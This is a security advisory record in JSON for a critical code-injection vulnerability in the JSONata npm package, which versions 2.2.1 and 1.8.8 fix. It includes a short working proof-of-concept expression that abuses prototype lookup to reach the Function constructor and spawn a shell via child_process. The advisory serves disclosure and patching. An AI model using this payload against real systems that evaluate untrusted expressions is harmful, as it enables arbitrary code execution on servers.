{"id":"GHSA-2943-5xfg-gq5f","summary":"JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions","details":"Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to a bypassable `hasOwnProperty` check in\n`environment.lookup`\nhttps://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871\n\nThis was fixed in https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)\nwhich is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n     $hasOwnProperty := $spread($string);\n     $__proto__ := $constructor;\n     $constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})\")();\n)`);\n\nawait expression.evaluate({});\n```","aliases":["CVE-2026-77414"],"modified":"2026-08-21T21:10:59.416749Z","published":"2026-08-21T20:58:01Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-08-21T20:58:01Z","nvd_published_at":null,"cwe_ids":["CWE-94"]},"references":[{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/pull/799"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159"},{"type":"PACKAGE","url":"https://github.com/jsonata-js/jsonata"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1"}],"affected":[{"package":{"name":"jsonata","ecosystem":"npm","purl":"pkg:npm/jsonata"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.2.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-2943-5xfg-gq5f/GHSA-2943-5xfg-gq5f.json"}},{"package":{"name":"jsonata","ecosystem":"npm","purl":"pkg:npm/jsonata"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.8.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-2943-5xfg-gq5f/GHSA-2943-5xfg-gq5f.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}